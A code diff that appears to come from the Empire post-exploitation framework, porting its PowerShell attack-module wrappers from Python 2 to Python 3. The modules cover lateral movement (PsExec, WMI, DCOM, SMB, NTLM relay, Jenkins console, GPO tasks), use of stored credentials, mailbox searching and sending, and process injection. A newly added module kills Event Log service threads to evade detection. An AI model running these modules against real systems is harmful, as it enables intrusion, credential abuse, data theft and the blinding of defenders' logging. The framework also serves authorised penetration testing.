130 'WPADAuth': {
131 'Description': '(Anonymous/NTLM) HTTP listener authentication type for wpad.dat requests.',
132 'Required': False,
133 'Value': ''
130134 }
131
135
132136 }
133
137
134138 # save off a copy of the mainMenu object to access external functionality
135139 # like listeners/agent handlers/etc.
136140 self.mainMenu = mainMenu
137
141
138142 for param in params:
139143 # parameter format is [Name, Value]
140144 option, value = param
141145 if option in self.options:
142146 self.options[option]['Value'] = value
143
144
147
145148 def generate(self, obfuscate=False, obfuscationCommand=""):
146
149
147150 listenerName = self.options['Listener']['Value']
148151 userAgent = self.options['UserAgent']['Value']
149152 proxy = self.options['Proxy_']['Value']
150153 proxyCreds = self.options['ProxyCreds']['Value']
151154 command = self.options['Command']['Value']
152
155
153156 # read in the common module source code
154157 moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1"
155158 if obfuscate:
158161 try:
159162 f = open(moduleSource, 'r')
160163 except:
161 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
164 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
162165 return ""
163
166
164167 moduleCode = f.read()
165168 f.close()
166
169
167170 script = moduleCode
168
171
169172 if command == "":
170173 if not self.mainMenu.listeners.is_listener_valid(listenerName):
171174 # not a valid listener, return nothing for the script
172 print helpers.color("[!] Invalid listener: " + listenerName)
175 print(helpers.color("[!] Invalid listener: " + listenerName))
173176 return ""
174
177
175178 else:
176
179
177180 # generate the PowerShell one-liner with all of the proper options set
178 command = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
181 command = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True,
182 userAgent=userAgent, proxy=proxy,
183 proxyCreds=proxyCreds)
179184 # set defaults for Empire
180 scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" -Command \"%s\"' % (command)
181
182 for option,values in self.options.iteritems():
185 scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" -Command \\"%s\\"' % (command)
186
187 for option, values in self.options.items():
183188 if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "useragent" and option.lower() != "proxy_" and option.lower() != "proxycreds" and option.lower() != "command":
184189 if values['Value'] and values['Value'] != '':
185190 if values['Value'].lower() == "true":
192197 else:
193198 scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
194199 if obfuscate:
195 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
200 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
201 obfuscationCommand=obfuscationCommand)
196202 script += scriptEnd
197203 return script
+7
-4
lib/modules/powershell/lateral_movement/invoke_dcom.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
98101 try:
99102 f = open(moduleSource, 'r')
100103 except:
101 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
104 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
102105 return ""
103106
104107 moduleCode = f.read()
111114
112115 if not self.mainMenu.listeners.is_listener_valid(listenerName):
113116 # not a valid listener, return nothing for the script
114 print helpers.color("[!] Invalid listener: " + listenerName)
117 print(helpers.color("[!] Invalid listener: " + listenerName))
115118 return ""
116119
117120 else:
120123 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
121124
122125 if launcher == "":
123 print helpers.color("[!] Error in launcher generation.")
126 print(helpers.color("[!] Error in launcher generation."))
124127 return ""
125128 else:
126129
+7
-4
lib/modules/powershell/lateral_movement/invoke_executemsbuild.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
131134 try:
132135 f = open(moduleSource, 'r')
133136 except:
134 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
137 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
135138 return ""
136139
137140 moduleCode = f.read()
143146 if credID != "":
144147
145148 if not self.mainMenu.credentials.is_credential_valid(credID):
146 print helpers.color("[!] CredID is invalid!")
149 print(helpers.color("[!] CredID is invalid!"))
147150 return ""
148151
149152 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
158161
159162 if not self.mainMenu.listeners.is_listener_valid(listenerName):
160163 # not a valid listener, return nothing for the script
161 print helpers.color("[!] Invalid listener: " + listenerName)
164 print(helpers.color("[!] Invalid listener: " + listenerName))
162165 return ""
163166 else:
164167
+7
-4
lib/modules/powershell/lateral_movement/invoke_psexec.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
108111 try:
109112 f = open(moduleSource, 'r')
110113 except:
111 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
114 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
112115 return ""
113116
114117 moduleCode = f.read()
130133
131134 if not self.mainMenu.listeners.is_listener_valid(listenerName):
132135 # not a valid listener, return nothing for the script
133 print helpers.color("[!] Invalid listener: " + listenerName)
136 print(helpers.color("[!] Invalid listener: " + listenerName))
134137 return ""
135138
136139 else:
139142 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
140143
141144 if launcher == "":
142 print helpers.color("[!] Error in launcher generation.")
145 print(helpers.color("[!] Error in launcher generation."))
143146 return ""
144147 else:
145148
+6
-3
lib/modules/powershell/lateral_movement/invoke_psremoting.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
103106 if credID != "":
104107
105108 if not self.mainMenu.credentials.is_credential_valid(credID):
106 print helpers.color("[!] CredID is invalid!")
109 print(helpers.color("[!] CredID is invalid!"))
107110 return ""
108111
109112 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
114117
115118 if not self.mainMenu.listeners.is_listener_valid(listenerName):
116119 # not a valid listener, return nothing for the script
117 print helpers.color("[!] Invalid listener: " + listenerName)
120 print(helpers.color("[!] Invalid listener: " + listenerName))
118121 return ""
119122
120123 else:
+7
-4
lib/modules/powershell/lateral_movement/invoke_smbexec.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
116119 try:
117120 f = open(moduleSource, 'r')
118121 except:
119 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
122 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
120123 return ""
121124
122125 moduleCode = f.read()
129132
130133 if not self.mainMenu.listeners.is_listener_valid(listenerName):
131134 # not a valid listener, return nothing for the script
132 print helpers.color("[!] Invalid listener: " + listenerName)
135 print(helpers.color("[!] Invalid listener: " + listenerName))
133136 return ""
134137
135138 else:
138141 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
139142
140143 if launcher == "":
141 print helpers.color("[!] Error in launcher generation.")
144 print(helpers.color("[!] Error in launcher generation."))
142145 return ""
143146 else:
144147
+7
-4
lib/modules/powershell/lateral_movement/invoke_sqloscmd.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
1 class Module:
4 class Module(object):
25 def __init__(self, mainMenu, params=[]):
36 self.info = {
47 'Name': 'Invoke-SQLOSCMD',
7881 credID = self.options["CredID"]['Value']
7982 if credID != "":
8083 if not self.mainMenu.credentials.is_credential_valid(credID):
81 print helpers.color("[!] CredID is invalid!")
84 print(helpers.color("[!] CredID is invalid!"))
8285 return ""
8386 (credID, credType, domainName, username, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
8487 if domainName != "":
107110 with open(moduleSource, 'r') as source:
108111 moduleCode = source.read()
109112 except:
110 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
113 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
111114 return ""
112115 script = moduleCode
113116
114117
115118 if command == "":
116119 if not self.mainMenu.listeners.is_listener_valid(listenerName):
117 print helpers.color("[!] Invalid listener: " + listenerName)
120 print(helpers.color("[!] Invalid listener: " + listenerName))
118121 return ""
119122 else:
120123 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
+9
-6
lib/modules/powershell/lateral_movement/invoke_sshcommand.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8184 try:
8285 f = open(moduleSource, 'r')
8386 except:
84 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
87 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8588 return ""
8689
8790 moduleCode = f.read()
9699 if credID != "":
97100
98101 if not self.mainMenu.credentials.is_credential_valid(credID):
99 print helpers.color("[!] CredID is invalid!")
102 print(helpers.color("[!] CredID is invalid!"))
100103 return ""
101104
102105 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
107110 self.options["Password"]['Value'] = str(password)
108111
109112 if self.options["Username"]['Value'] == "":
110 print helpers.color("[!] Either 'CredId' or Username/Password must be specified.")
113 print(helpers.color("[!] Either 'CredId' or Username/Password must be specified."))
111114 return ""
112115 if self.options["Password"]['Value'] == "":
113 print helpers.color("[!] Either 'CredId' or Username/Password must be specified.")
116 print(helpers.color("[!] Either 'CredId' or Username/Password must be specified."))
114117 return ""
115118
116 for option,values in self.options.iteritems():
119 for option,values in self.options.items():
117120 if option.lower() != "agent" and option.lower() != "credid":
118121 if values['Value'] and values['Value'] != '':
119122 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/lateral_movement/invoke_wmi.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
104107 if credID != "":
105108
106109 if not self.mainMenu.credentials.is_credential_valid(credID):
107 print helpers.color("[!] CredID is invalid!")
110 print(helpers.color("[!] CredID is invalid!"))
108111 return ""
109112
110113 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
119122
120123 if not self.mainMenu.listeners.is_listener_valid(listenerName):
121124 # not a valid listener, return nothing for the script
122 print helpers.color("[!] Invalid listener: " + listenerName)
125 print(helpers.color("[!] Invalid listener: " + listenerName))
123126 return ""
124127
125128 else:
+10
-6
lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5
6 class Module(object):
37
48 def __init__(self, mainMenu, params=[]):
59
5155 'Value' : ''
5256 },
5357 'UserName' : {
54 'Description' : '[domain\]username to use to execute command.',
58 'Description' : r'[domain\]username to use to execute command.',
5559 'Required' : False,
5660 'Value' : ''
5761 },
6872 'RegPath' : {
6973 'Description' : 'Registry location to store the script code. Last element is the key name.',
7074 'Required' : False,
71 'Value' : 'HKLM:Software\Microsoft\Network\debug'
75 'Value' : r'HKLM:Software\Microsoft\Network\debug'
7276 },
7377 'Binary' : {
7478 'Description' : 'Binary to set for the debugger.',
7579 'Required' : False,
76 'Value' : 'C:\Windows\System32\cmd.exe'
80 'Value' : r'C:\Windows\System32\cmd.exe'
7781 },
7882 'Cleanup' : {
7983 'Description' : 'Switch. Disable the debugger for the specified TargetBinary.',
116120 if credID != "":
117121
118122 if not self.mainMenu.credentials.is_credential_valid(credID):
119 print helpers.color("[!] CredID is invalid!")
123 print(helpers.color("[!] CredID is invalid!"))
120124 return ""
121125
122126 (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
138142 # if there's a listener specified, generate a stager and store it
139143 if not self.mainMenu.listeners.is_listener_valid(listenerName):
140144 # not a valid listener, return nothing for the script
141 print helpers.color("[!] Invalid listener: " + listenerName)
145 print(helpers.color("[!] Invalid listener: " + listenerName))
142146 return ""
143147
144148 else:
+7
-4
lib/modules/powershell/lateral_movement/jenkins_script_console.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14
25 from lib.common import helpers
36
4 class Module:
7 class Module(object):
58
69 def __init__(self, mainMenu, params=[]):
710
9295 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
9396
9497 if launcher == "":
95 print helpers.color("[!] Error in launcher command generation.")
98 print(helpers.color("[!] Error in launcher command generation."))
9699 return ""
97100 else:
98101 #Cmd = launcher
99 print helpers.color("Agent Launcher code: "+ launcher)
102 print(helpers.color("Agent Launcher code: "+ launcher))
100103
101104
102105 # read in the common module source code
107110 try:
108111 f = open(moduleSource, 'r')
109112 except:
110 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
113 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
111114 return ""
112115
113116 moduleCode = f.read()
+7
-4
lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
119122
120123 if not self.mainMenu.listeners.is_listener_valid(listenerName):
121124 # not a valid listener, return nothing for the script
122 print helpers.color("[!] Invalid listener: " + listenerName)
125 print(helpers.color("[!] Invalid listener: " + listenerName))
123126 return ""
124127
125128 else:
139142 try:
140143 f = open(moduleSource, 'r')
141144 except:
142 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
145 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
143146 return ""
144147
145148 moduleCode = f.read()
150153
151154 script = moduleName + " -Command cmd -CommandArguments '"+command+"' -Force"
152155
153 for option,values in self.options.iteritems():
156 for option,values in self.options.items():
154157 if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", "domain", "domaincontroller"]:
155158 if values['Value'] and values['Value'] != '':
156159 if values['Value'].lower() == "true":
+2
-1
lib/modules/powershell/management/disable_rdp.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+6
-3
lib/modules/powershell/management/downgrade_account.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7780 try:
7881 f = open(moduleSource, 'r')
7982 except:
80 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
83 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8184 return ""
8285
8386 moduleCode = f.read()
8891
8992 script += moduleName + " "
9093
91 for option,values in self.options.iteritems():
94 for option,values in self.options.items():
9295 if option.lower() != "agent":
9396 if values['Value'] and values['Value'] != '':
9497 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/management/enable_multi_rdp.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6265 try:
6366 f = open(moduleSource, 'r')
6467 except:
65 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
68 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6669 return ""
6770
6871 moduleCode = f.read()
+2
-1
lib/modules/powershell/management/enable_rdp.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+6
-3
lib/modules/powershell/management/get_domain_sid.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6164 try:
6265 f = open(moduleSource, 'r')
6366 except:
64 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
67 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6568 return ""
6669
6770 moduleCode = f.read()
7275
7376 script += moduleName + " "
7477 scriptEnd = ""
75 for option,values in self.options.iteritems():
78 for option,values in self.options.items():
7679 if option.lower() != "agent":
7780 if values['Value'] and values['Value'] != '':
7881 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/management/honeyhash.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7477 try:
7578 f = open(moduleSource, 'r')
7679 except:
77 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
80 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7881 return ""
7982
8083 moduleCode = f.read()
8487
8588 scriptEnd = "New-HoneyHash"
8689
87 for option,values in self.options.iteritems():
90 for option,values in self.options.items():
8891 if option.lower() != "agent":
8992 if values['Value'] and values['Value'] != '':
9093 scriptEnd += " -" + str(option) + " " + str(values['Value'])
+5
-2
lib/modules/powershell/management/invoke_script.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6770 try:
6871 f = open(scriptPath, 'r')
6972 except:
70 print helpers.color("[!] Could not read script source path at: " + str(scriptPath))
73 print(helpers.color("[!] Could not read script source path at: " + str(scriptPath)))
7174 return ""
7275
7376 script = f.read()
+2
-1
lib/modules/powershell/management/lock.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/powershell/management/logoff.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+6
-3
lib/modules/powershell/management/mailraider/disable_security.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8487 try:
8588 f = open(moduleSource, 'r')
8689 except:
87 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
90 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8891 return ""
8992
9093 moduleCode = f.read()
98101 else:
99102 scriptEnd += "Disable-SecuritySettings "
100103
101 for option,values in self.options.iteritems():
104 for option,values in self.options.items():
102105 if option.lower() != "agent" and option.lower() != "reset":
103106 if values['Value'] and values['Value'] != '':
104107 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/management/mailraider/get_emailitems.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7477 try:
7578 f = open(moduleSource, 'r')
7679 except:
77 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
80 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7881 return ""
7982
8083 moduleCode = f.read()
+6
-3
lib/modules/powershell/management/mailraider/get_subfolders.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6770 try:
6871 f = open(moduleSource, 'r')
6972 except:
70 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
73 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7174 return ""
7275
7376 moduleCode = f.read()
7578
7679 script = moduleCode + "\n"
7780 scriptEnd = moduleName + " "
78 for option,values in self.options.iteritems():
81 for option,values in self.options.items():
7982 if option.lower() != "agent":
8083 if values['Value'] and values['Value'] != '':
8184 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/management/mailraider/mail_search.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9295 try:
9396 f = open(moduleSource, 'r')
9497 except:
95 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
98 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9699 return ""
97100
98101 moduleCode = f.read()
100103
101104 script = moduleCode + "\n"
102105 scriptEnd = moduleName + " "
103 for option,values in self.options.iteritems():
106 for option,values in self.options.items():
104107 if option.lower() != "agent":
105108 if values['Value'] and values['Value'] != '':
106109 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/management/mailraider/search_gal.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8790 try:
8891 f = open(moduleSource, 'r')
8992 except:
90 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
93 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9194 return ""
9295
9396 moduleCode = f.read()
9598
9699 script = moduleCode + "\n"
97100 scriptEnd = moduleName + " "
98 for option,values in self.options.iteritems():
101 for option,values in self.options.items():
99102 if option.lower() != "agent":
100103 if values['Value'] and values['Value'] != '':
101104 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/management/mailraider/send_mail.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
97100 try:
98101 f = open(moduleSource, 'r')
99102 except:
100 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
103 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
101104 return ""
102105
103106 moduleCode = f.read()
105108
106109 script = moduleCode + "\n"
107110 scriptEnd = moduleName + " "
108 for option,values in self.options.iteritems():
111 for option,values in self.options.items():
109112 if option.lower() != "agent":
110113 if values['Value'] and values['Value'] != '':
111114 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/management/mailraider/view_email.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7275 try:
7376 f = open(moduleSource, 'r')
7477 except:
75 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
78 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7679 return ""
7780
7881 moduleCode = f.read()
8083
8184 script = moduleCode + "\n"
8285 scriptEnd = moduleName + " "
83 for option,values in self.options.iteritems():
86 for option,values in self.options.items():
8487 if option.lower() != "agent":
8588 if values['Value'] and values['Value'] != '':
8689 if values['Value'].lower() == "true":
+85
-0
lib/modules/powershell/management/phant0m.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 import base64
4
5 from lib.common import helpers
6
7
8 class Module(object):
9 def __init__(self, mainMenu, params=[]):
10 self.info = {
11 'Name': 'Invoke-Phant0m',
12 'Author': ['@leesoh'],
13 'Description': ('Kills Event Log Service Threads'),
14 'Background': False,
15 'OutputExtension': None,
16 'NeedsAdmin': True,
17 'OpsecSafe': True,
18 'Language': 'powershell',
19 'MinLanguageVersion': '2',
20 'Comments':
21 ['Invoke-Phant0m: https://github.com/hlldz/Invoke-Phant0m']
22 }
23
24 # any options needed by the module, settable during runtime
25 self.options = {
26
27 # format:
28 # value_name : {description, required, default_value}
29 'Agent': {
30 'Description': 'Agent to run module on.',
31 'Required': True,
32 'Value': ''
33 }
34 }
35
36 self.mainMenu = mainMenu
37 for param in params:
38 # parameter format is [Name, Value]
39 option, value = param
40
41 if option in self.options:
42 self.options[option]['Value'] = value
43
44 def generate(self, obfuscate=False, obfuscationCommand=""):
45 # read in the common module source code
46 moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Phant0m.ps1"
47
48 if obfuscate:
49 helpers.obfuscate_module(
50 moduleSource=moduleSource,
51 obfuscationCommand=obfuscationCommand)
52 moduleSource = moduleSource.replace("module_source",
53 "obfuscated_module_source")
54
55 try:
56 f = open(moduleSource, 'r')
57 except:
58 print(helpers.color("[!] Could not read module source path at: " +
59 str(moduleSource)))
60 return ""
61
62 moduleCode = f.read()
63 f.close()
64 script = moduleCode
65 scriptEnd = "\nInvoke-Phant0m"
66
67 for option, values in self.options.items():
68 if option.lower() != "agent" and option.lower() != "showall":
69 if values['Value'] and values['Value'] != '':
70 if values['Value'].lower() == "true":
71 # if we're just adding a switch
72 scriptEnd += " -" + str(option)
73 else:
74 scriptEnd += " -" + str(option) + " " + str(
75 values['Value'])
76
77 if obfuscate:
78
79 scriptEnd = helpers.obfuscate(
80 psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
81
82 script += scriptEnd
83 script += "| Out-String"
84 return script
+16
-12
lib/modules/powershell/management/psinject.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14 import base64
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
6
79 self.info = {
810 'Name': 'Invoke-PSInject',
911
1113
1214 'Description': ("Utilizes Powershell to to inject a Stephen Fewer "
1315 "formed ReflectivePick which executes PS code"
14 "from memory in a remote process"),
16 "from memory in a remote process. ProcID or "
17 "ProcName must be specified."),
1518
1619 'Background' : True,
1720
1821 'OutputExtension' : None,
19
22
2023 'NeedsAdmin' : False,
2124
2225 'OpsecSafe' : True,
23
26
2427 'Language' : 'powershell',
2528
2629 'MinLanguageVersion' : '2',
8386
8487
8588 def generate(self, obfuscate=False, obfuscationCommand=""):
86
8789 listenerName = self.options['Listener']['Value']
8890 procID = self.options['ProcId']['Value'].strip()
8991 procName = self.options['ProcName']['Value'].strip()
9092
9193 if procID == '' and procName == '':
92 print helpers.color("[!] Either ProcID or ProcName must be specified.")
93 return ''
94 print(helpers.color("[!] Either ProcID or ProcName must be specified."))
95 return ""
9496
9597 # staging options
9698 userAgent = self.options['UserAgent']['Value']
105107 try:
106108 f = open(moduleSource, 'r')
107109 except:
108 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
110 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
109111 return ""
110112
111113 moduleCode = f.read()
115117 scriptEnd = ""
116118 if not self.mainMenu.listeners.is_listener_valid(listenerName):
117119 # not a valid listener, return nothing for the script
118 print helpers.color("[!] Invalid listener: %s" %(listenerName))
120 print(helpers.color("[!] Invalid listener: %s" %(listenerName)))
119121 return ''
120122 else:
121123 # generate the PowerShell one-liner with all of the proper options set
122124 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
123
124125 if launcher == '':
125 print helpers.color('[!] Error in launcher generation.')
126 print(helpers.color('[!] Error in launcher generation.'))
127 return ''
128 elif len(launcher) > 5952:
129 print(helpers.color("[!] Launcher string is too long!"))
126130 return ''
127131 else:
128132 launcherCode = launcher.split(' ')[-1]
+77
-71
lib/modules/powershell/management/reflective_inject.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import range
3 from builtins import object
04 from lib.common import helpers
15 import base64
26
3 class Module:
47
8 class Module(object):
9
510 def __init__(self, mainMenu, params=[]):
6
11
712 self.info = {
813 'Name': 'Invoke-PSInject',
9
14
1015 'Author': ['@harmj0y', '@sixdub', 'leechristensen (@tifkin_)', 'james fitts'],
11
16
1217 'Description': ("Utilizes Powershell to to inject a Stephen Fewer "
1318 "formed ReflectivePick which executes PS code"
1419 "from memory in a remote process"),
15
16 'Background' : True,
17
18 'OutputExtension' : None,
1920
20 'NeedsAdmin' : False,
21
22 'OpsecSafe' : False,
21 'Background': True,
2322
24 'Language' : 'powershell',
25
26 'MinLanguageVersion' : '2',
23 'OutputExtension': None,
24
25 'NeedsAdmin': False,
26
27 'OpsecSafe': False,
28
29 'Language': 'powershell',
30
31 'MinLanguageVersion': '2',
2732
2833 'Comments': [
2934 'http://sixdub.net'
3035 ]
3136 }
32
37
3338 # any options needed by the module, settable during runtime
3439 self.options = {
3540 # format:
3641 # value_name : {description, required, default_value}
37 'Agent' : {
38 'Description' : 'Agent to run module on.',
39 'Required' : True,
40 'Value' : ''
42 'Agent': {
43 'Description': 'Agent to run module on.',
44 'Required': True,
45 'Value': ''
4146 },
42 'UploadPath' : {
43 'Description' : 'Path to drop dll (C:\Users\Administrator\Desktop).',
44 'Required' : False,
45 'Value' : ''
47 'UploadPath': {
48 'Description': r'Path to drop dll (C:\Users\Administrator\Desktop).',
49 'Required': False,
50 'Value': ''
4651 },
47 'ProcName' : {
48 'Description' : 'Process name to inject into. (I.E calc, chrome, powershell)',
49 'Required' : False,
50 'Value' : ''
52 'ProcName': {
53 'Description': 'Process name to inject into. (I.E calc, chrome, powershell)',
54 'Required': False,
55 'Value': ''
5156 },
52 'Listener' : {
53 'Description' : 'Listener to use.',
54 'Required' : True,
55 'Value' : ''
57 'Listener': {
58 'Description': 'Listener to use.',
59 'Required': True,
60 'Value': ''
5661 },
57 'UserAgent' : {
58 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
59 'Required' : False,
60 'Value' : 'default'
62 'UserAgent': {
63 'Description': 'User-agent string to use for the staging request (default, none, or other).',
64 'Required': False,
65 'Value': 'default'
6166 },
62 'Proxy' : {
